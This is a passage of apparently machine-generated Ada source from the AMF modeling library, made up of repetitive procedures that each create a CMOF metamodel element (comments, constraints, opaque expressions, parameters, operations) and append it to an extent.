Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_437;
--------------------
-- Initialize_438 --
--------------------
procedure Initialize_438 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_438;
--------------------
-- Initialize_439 --
--------------------
procedure Initialize_439 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_439;
--------------------
-- Initialize_440 --
--------------------
procedure Initialize_440 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_440;
--------------------
-- Initialize_441 --
--------------------
procedure Initialize_441 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_441;
--------------------
-- Initialize_442 --
--------------------
procedure Initialize_442 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_442;
--------------------
-- Initialize_443 --
--------------------
procedure Initialize_443 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_443;
--------------------
-- Initialize_444 --
--------------------
procedure Initialize_444 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_444;
--------------------
-- Initialize_445 --
--------------------
procedure Initialize_445 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_445;
--------------------
-- Initialize_446 --
--------------------
procedure Initialize_446 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_446;
--------------------
-- Initialize_447 --
--------------------
procedure Initialize_447 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_447;
--------------------
-- Initialize_448 --
--------------------
procedure Initialize_448 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_448;
--------------------
-- Initialize_449 --
--------------------
procedure Initialize_449 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_449;
--------------------
-- Initialize_450 --
--------------------
procedure Initialize_450 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_450;
--------------------
-- Initialize_451 --
--------------------
procedure Initialize_451 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_451;
--------------------
-- Initialize_452 --
--------------------
procedure Initialize_452 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_452;
--------------------
-- Initialize_453 --
--------------------
procedure Initialize_453 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_453;
--------------------
-- Initialize_454 --
--------------------
procedure Initialize_454 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_454;
--------------------
-- Initialize_455 --
--------------------
procedure Initialize_455 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_455;
--------------------
-- Initialize_456 --
--------------------
procedure Initialize_456 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_456;
--------------------
-- Initialize_457 --
--------------------
procedure Initialize_457 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_457;
--------------------
-- Initialize_458 --
--------------------
procedure Initialize_458 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_458;
--------------------
-- Initialize_459 --
--------------------
procedure Initialize_459 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_459;
--------------------
-- Initialize_460 --
--------------------
procedure Initialize_460 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_460;
--------------------
-- Initialize_461 --
--------------------
procedure Initialize_461 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_461;
--------------------
-- Initialize_462 --
--------------------
procedure Initialize_462 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_462;
--------------------
-- Initialize_463 --
--------------------
procedure Initialize_463 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_463;
--------------------
-- Initialize_464 --
--------------------
procedure Initialize_464 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_464;
--------------------
-- Initialize_465 --
--------------------
procedure Initialize_465 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_465;
--------------------
-- Initialize_466 --
--------------------
procedure Initialize_466 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_466;
--------------------
-- Initialize_467 --
--------------------
procedure Initialize_467 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_467;
--------------------
-- Initialize_468 --
--------------------
procedure Initialize_468 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_468;
--------------------
-- Initialize_469 --
--------------------
procedure Initialize_469 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_469;
--------------------
-- Initialize_470 --
--------------------
procedure Initialize_470 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_470;
--------------------
-- Initialize_471 --
--------------------
procedure Initialize_471 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_471;
--------------------
-- Initialize_472 --
--------------------
procedure Initialize_472 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_472;
--------------------
-- Initialize_473 --
--------------------
procedure Initialize_473 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_473;
--------------------
-- Initialize_474 --
--------------------
procedure Initialize_474 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_474;
--------------------
-- Initialize_475 --
--------------------
procedure Initialize_475 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_475;
--------------------
-- Initialize_476 --
--------------------
procedure Initialize_476 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_476;
--------------------
-- Initialize_477 --
--------------------
procedure Initialize_477 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_477;
--------------------
-- Initialize_478 --
--------------------
procedure Initialize_478 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_478;
--------------------
-- Initialize_479 --
--------------------
procedure Initialize_479 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_479;
--------------------
-- Initialize_480 --
--------------------
procedure Initialize_480 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_480;
--------------------
-- Initialize_481 --
--------------------
procedure Initialize_481 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_481;
--------------------
-- Initialize_482 --
--------------------
procedure Initialize_482 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_482;
--------------------
-- Initialize_483 --
--------------------
procedure Initialize_483 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_483;
--------------------
-- Initialize_484 --
--------------------
procedure Initialize_484 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_484;
--------------------
-- Initialize_485 --
--------------------
procedure Initialize_485 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_485;
--------------------
-- Initialize_486 --
--------------------
procedure Initialize_486 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_486;
--------------------
-- Initialize_487 --
--------------------
procedure Initialize_487 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_487;
--------------------
-- Initialize_488 --
--------------------
procedure Initialize_488 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_488;
--------------------
-- Initialize_489 --
--------------------
procedure Initialize_489 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_489;
--------------------
-- Initialize_490 --
--------------------
procedure Initialize_490 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_490;
--------------------
-- Initialize_491 --
--------------------
procedure Initialize_491 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_491;
--------------------
-- Initialize_492 --
--------------------
procedure Initialize_492 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_492;
--------------------
-- Initialize_493 --
--------------------
procedure Initialize_493 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_493;
--------------------
-- Initialize_494 --
--------------------
procedure Initialize_494 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_494;
--------------------
-- Initialize_495 --
--------------------
procedure Initialize_495 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_495;
--------------------
-- Initialize_496 --
--------------------
procedure Initialize_496 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_496;
--------------------
-- Initialize_497 --
--------------------
procedure Initialize_497 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_497;
--------------------
-- Initialize_498 --
--------------------
procedure Initialize_498 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_498;
--------------------
-- Initialize_499 --
--------------------
procedure Initialize_499 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_499;
--------------------
-- Initialize_500 --
--------------------
procedure Initialize_500 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_500;
--------------------
-- Initialize_501 --
--------------------
procedure Initialize_501 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_501;
--------------------
-- Initialize_502 --
--------------------
procedure Initialize_502 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_502;
--------------------
-- Initialize_503 --
--------------------
procedure Initialize_503 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_503;
--------------------
-- Initialize_504 --
--------------------
procedure Initialize_504 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_504;
--------------------
-- Initialize_505 --
--------------------
procedure Initialize_505 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_505;
--------------------
-- Initialize_506 --
--------------------
procedure Initialize_506 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_506;
--------------------
-- Initialize_507 --
--------------------
procedure Initialize_507 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_507;
--------------------
-- Initialize_508 --
--------------------
procedure Initialize_508 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_508;
--------------------
-- Initialize_509 --
--------------------
procedure Initialize_509 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_509;
--------------------
-- Initialize_510 --
--------------------
procedure Initialize_510 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_510;
--------------------
-- Initialize_511 --
--------------------
procedure Initialize_511 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_511;
--------------------
-- Initialize_512 --
--------------------
procedure Initialize_512 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_512;
--------------------
-- Initialize_513 --
--------------------
procedure Initialize_513 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_513;
--------------------
-- Initialize_514 --
--------------------
procedure Initialize_514 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_514;
--------------------
-- Initialize_515 --
--------------------
procedure Initialize_515 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_515;
--------------------
-- Initialize_516 --
--------------------
procedure Initialize_516 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_516;
--------------------
-- Initialize_517 --
--------------------
procedure Initialize_517 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_517;
--------------------
-- Initialize_518 --
--------------------
procedure Initialize_518 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_518;
--------------------
-- Initialize_519 --
--------------------
procedure Initialize_519 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_519;
--------------------
-- Initialize_520 --
--------------------
procedure Initialize_520 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_520;
--------------------
-- Initialize_521 --
--------------------
procedure Initialize_521 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_521;
--------------------
-- Initialize_522 --
--------------------
procedure Initialize_522 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_522;
--------------------
-- Initialize_523 --
--------------------
procedure Initialize_523 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_523;
--------------------
-- Initialize_524 --
--------------------
procedure Initialize_524 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_524;
--------------------
-- Initialize_525 --
--------------------
procedure Initialize_525 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_525;
--------------------
-- Initialize_526 --
--------------------
procedure Initialize_526 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_526;
--------------------
-- Initialize_527 --
--------------------
procedure Initialize_527 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_527;
--------------------
-- Initialize_528 --
--------------------
procedure Initialize_528 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_528;
--------------------
-- Initialize_529 --
--------------------
procedure Initialize_529 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_529;
--------------------
-- Initialize_530 --
--------------------
procedure Initialize_530 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_530;
--------------------
-- Initialize_531 --
--------------------
procedure Initialize_531 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_531;
--------------------
-- Initialize_532 --
--------------------
procedure Initialize_532 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_532;
--------------------
-- Initialize_533 --
--------------------
procedure Initialize_533 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
